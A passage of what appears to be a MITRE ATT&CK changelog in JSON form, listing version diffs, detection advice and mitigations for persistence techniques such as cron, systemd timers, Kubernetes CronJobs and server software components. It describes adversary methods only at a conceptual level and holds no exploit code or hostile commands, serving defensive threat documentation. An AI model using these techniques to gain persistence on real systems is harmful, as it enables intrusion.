>oftware/S0110) can also be abused to conduct remote Executio>tre.org/software/S0110) can also be abused to conduct remote
>n as part of Lateral Movement and or to run a process under > Execution as part of Lateral Movement and or to run a proce
>the context of a specified account.>ss under the context of a specified account.  Adversaries ma
 >y also abuse [at](https://attack.mitre.org/software/S0110) t
 >o break out of restricted environments by using a task to sp
 >awn an interactive system shell or to run system commands. S
 >imilarly, [at](https://attack.mitre.org/software/S0110) may 
 >also be used for [Privilege Escalation](https://attack.mitre
 >.org/tactics/TA0004) if the binary is allowed to run as supe
 >ruser via <code>sudo</code>.(Citation: GTFObins at)
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0003: Scheduled Job (Scheduled Job Creation)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-29 17:06:22.247000+00:00", "modified": "2021-07-27 17:38:17.146000+00:00", "name": "Container Orchestration Job", "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/007", "external_id": "T1053.007" }, { "source_name": "Kubernetes Jobs", "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.", "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/" }, { "source_name": "Kubernetes CronJob", "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/" }, { "source_name": "Threat Matrix for Kubernetes", "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Center for Threat-Informed Defense (CTID)", "Vishwas Manral, McAfee", "Yossi Weizman, Azure Defender Research Team" ], "x_mitre_data_sources": [ "Scheduled Job: Scheduled Job Creation", "Container: Container Creation", "File: File Creation" ], "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Containers" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-27 17:38:17.146000+00:00\", \"old_value\": \"2021-04-12 18:09:46.821000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\\n\\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\", \"old_value\": \"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\\n\\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\\n \\n-In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)\\n+In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse task scheduling functionality providedt1Adversaries may abuse task scheduling functionality provided
> by container orchestration tools such as Kubernetes to sche> by container orchestration tools such as Kubernetes to sche
>dule deployment of containers configured to execute maliciou>dule deployment of containers configured to execute maliciou
>s code. Container orchestration jobs run these automated tas>s code. Container orchestration jobs run these automated tas
>ks at a specific date and time, similar to cron jobs on a Li>ks at a specific date and time, similar to cron jobs on a Li
>nux system. Deployments of this type can also be configured >nux system. Deployments of this type can also be configured 
>to maintain a quantity of containers over time, automating t>to maintain a quantity of containers over time, automating t
>he process of maintaining persistence within a cluster.  In >he process of maintaining persistence within a cluster.  In 
>Kubernetes, a CronJob may be used to schedule a Job that run>Kubernetes, a CronJob may be used to schedule a Job that run
>s one or more containers to perform specific tasks.(Citation>s one or more containers to perform specific tasks.(Citation
>: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversar>: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversar
>y therefore may utilize a CronJob to schedule deployment of >y therefore may utilize a CronJob to schedule deployment of 
>a Job that executes malicious code in the cluster.(Citation:>a Job that executes malicious code in various nodes within a
> Threat Matrix for Kubernetes)> cluster.(Citation: Threat Matrix for Kubernetes)
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0003: Scheduled Job (Scheduled Job Creation)", "DS0022: File (File Creation)", "DS0032: Container (Container Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-12-03 14:25:00.538000+00:00", "modified": "2021-08-23 15:29:36.918000+00:00", "name": "Cron", "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/003", "external_id": "T1053.003" }, { "source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Scheduled Job: Scheduled Job Creation", "Command: Command Execution", "File: File Modification", "Process: Process Creation" ], "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS" ], "x_mitre_remote_support": false, "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-23 15:29:36.918000+00:00\", \"old_value\": \"2020-03-23 23:30:46.546000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\\n\\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. \", \"old_value\": \"Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\\n\\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\\n+Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\\n \\n-An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\\n+An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"20 macOS Common Tools and Techniques\", \"description\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.\", \"url\": \"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse the <code>cron</code> utility to perfot1Adversaries may abuse the <code>cron</code> utility to perfo
>rm task scheduling for initial or recurring execution of mal>rm task scheduling for initial or recurring execution of mal
>icious code. The <code>cron</code> utility is a time-based j>icious code.(Citation: 20 macOS Common Tools and Techniques)
>ob scheduler for Unix-like operating systems.  The <code> cr> The <code>cron</code> utility is a time-based job scheduler
>ontab</code> file contains the schedule of cron entries to b> for Unix-like operating systems.  The <code> crontab</code>
>e run and the specified times for execution. Any <code>cront> file contains the schedule of cron entries to be run and th
>ab</code> files are stored in operating system-specific file>e specified times for execution. Any <code>crontab</code> fi
> paths.  An adversary may use <code>cron</code> in Linux or >les are stored in operating system-specific file paths.  An 
>Unix environments to execute programs at system startup or o>adversary may use <code>cron</code> in Linux or Unix environ
>n a scheduled basis for persistence. <code>cron</code> can a>ments to execute programs at system startup or on a schedule
>lso be abused to conduct remote Execution as part of Lateral>d basis for persistence. 
> Movement and or to run a process under the context of a spe 
>cified account. 
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0003: Scheduled Job (Scheduled Job Creation)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-10-12 17:50:31.584000+00:00", "modified": "2021-07-27 16:43:25.027000+00:00", "name": "Systemd Timers", "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/006", "external_id": "T1053.006" }, { "source_name": "archlinux Systemd Timers Aug 2020", "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.", "url": "https://wiki.archlinux.org/index.php/Systemd/Timers" }, { "source_name": "Systemd Remote Control", "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.", "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/" }, { "source_name": "Linux man-pages: systemd January 2014", "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", "url": "http://man7.org/linux/man-pages/man1/systemd.1.html" }, { "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/" }, { "source_name": "gist Arch package compromise 10JUL2018", "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a" }, { "source_name": "acroread package compromised Arch Linux Mail 8JUL2018", "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "SarathKumar Rajendran, Trimble Inc" ], "x_mitre_data_sources": [ "Scheduled Job: Scheduled Job Creation", "Command: Command Execution", "File: File Modification", "Process: Process Creation" ], "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "root" ], "x_mitre_platforms": [ "Linux" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-27 16:43:25.027000+00:00\", \"old_value\": \"2020-10-14 15:20:00.754000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\\n\\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\\n\\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\", \"old_value\": \"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)\\n\\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\\n\\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)\\n+Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\\n \\n Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\\n \"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Systemd Remote Control\", \"old_value\": \"Linux man-pages: systemd January 2014\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.\", \"old_value\": \"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.tecmint.com/control-systemd-services-on-remote-linux-server/\", \"old_value\": \"http://man7.org/linux/man-pages/man1/systemd.1.html\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Linux man-pages: systemd January 2014\", \"old_value\": \"Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.\", \"old_value\": \"Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"http://man7.org/linux/man-pages/man1/systemd.1.html\", \"old_value\": \"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018\", \"old_value\": \"gist Arch package compromise 10JUL2018\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.\", \"old_value\": \"Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/\", \"old_value\": \"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"gist Arch package compromise 10JUL2018\", \"old_value\": \"acroread package compromised Arch Linux Mail 8JUL2018\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.\", \"old_value\": \"Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a\", \"old_value\": \"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"acroread package compromised Arch Linux Mail 8JUL2018\", \"description\": \"Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.\", \"url\": \"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse systemd timers to perform task schedult1Adversaries may abuse systemd timers to perform task schedul
>ing for initial or recurring execution of malicious code. Sy>ing for initial or recurring execution of malicious code. Sy
>stemd timers are unit files with file extension <code>.timer>stemd timers are unit files with file extension <code>.timer
></code> that control services. Timers can be set to run on a></code> that control services. Timers can be set to run on a
> calendar event or after a time span relative to a starting > calendar event or after a time span relative to a starting 
>point. They can be used as an alternative to [Cron](https://>point. They can be used as an alternative to [Cron](https://
>attack.mitre.org/techniques/T1053/003) in Linux environments>attack.mitre.org/techniques/T1053/003) in Linux environments
>.(Citation: archlinux Systemd Timers Aug 2020)  Each <code>.>.(Citation: archlinux Systemd Timers Aug 2020) Systemd timer
>timer</code> file must have a corresponding <code>.service</>s may be activated remotely via the <code>systemctl</code> c
>code> file with the same name, e.g., <code>example.timer</co>ommand line utility, which operates over [SSH](https://attac
>de> and <code>example.service</code>. <code>.service</code> >k.mitre.org/techniques/T1021/004).(Citation: Systemd Remote 
>files are [Systemd Service](https://attack.mitre.org/techniq>Control)  Each <code>.timer</code> file must have a correspo
>ues/T1543/002) unit files that are managed by the systemd sy>nding <code>.service</code> file with the same name, e.g., <
>stem and service manager.(Citation: Linux man-pages: systemd>code>example.timer</code> and <code>example.service</code>. 
> January 2014) Privileged timers are written to <code>/etc/s><code>.service</code> files are [Systemd Service](https://at
>ystemd/system/</code> and <code>/usr/lib/systemd/system</cod>tack.mitre.org/techniques/T1543/002) unit files that are man
>e> while user level are written to <code>~/.config/systemd/u>aged by the systemd system and service manager.(Citation: Li
>ser/</code>.  An adversary may use systemd timers to execute>nux man-pages: systemd January 2014) Privileged timers are w
> malicious code at system startup or on a scheduled basis fo>ritten to <code>/etc/systemd/system/</code> and <code>/usr/l
>r persistence.(Citation: Arch Linux Package Systemd Compromi>ib/systemd/system</code> while user level are written to <co
>se BleepingComputer 10JUL2018)(Citation: gist Arch package c>de>~/.config/systemd/user/</code>.  An adversary may use sys
>ompromise 10JUL2018)(Citation: acroread package compromised >temd timers to execute malicious code at system startup or o
>Arch Linux Mail 8JUL2018) Timers installed using privileged >n a scheduled basis for persistence.(Citation: Arch Linux Pa
>paths may be used to maintain root level persistence. Advers>ckage Systemd Compromise BleepingComputer 10JUL2018)(Citatio
>aries may also install user level timers to achieve user lev>n: gist Arch package compromise 10JUL2018)(Citation: acrorea
>el persistence.>d package compromised Arch Linux Mail 8JUL2018) Timers insta
 >lled using privileged paths may be used to maintain root lev
 >el persistence. Adversaries may also install user level time
 >rs to achieve user level persistence.
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1022: Restrict File and Directory Permissions", "M1026: Privileged Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0003: Scheduled Job (Scheduled Job Creation)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-06-28 17:52:07.296000+00:00", "modified": "2021-10-18 17:05:44.743000+00:00", "name": "Server Software Component", "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1505", "external_id": "T1505" }, { "source_name": "US-CERT Alert TA15-314A Web Shells", "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Creation", "File: File Modification", "Process: Process Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Application Log: Application Log Content" ], "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "SYSTEM", "root" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 17:05:44.743000+00:00\", \"old_value\": \"2020-09-16 19:34:19.961000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1045: Code Signing", "M1047: Audit" ], "new": [ "M1018: User Account Management", "M1042: Disable or Remove Feature or Program" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0029: Network Traffic (Network 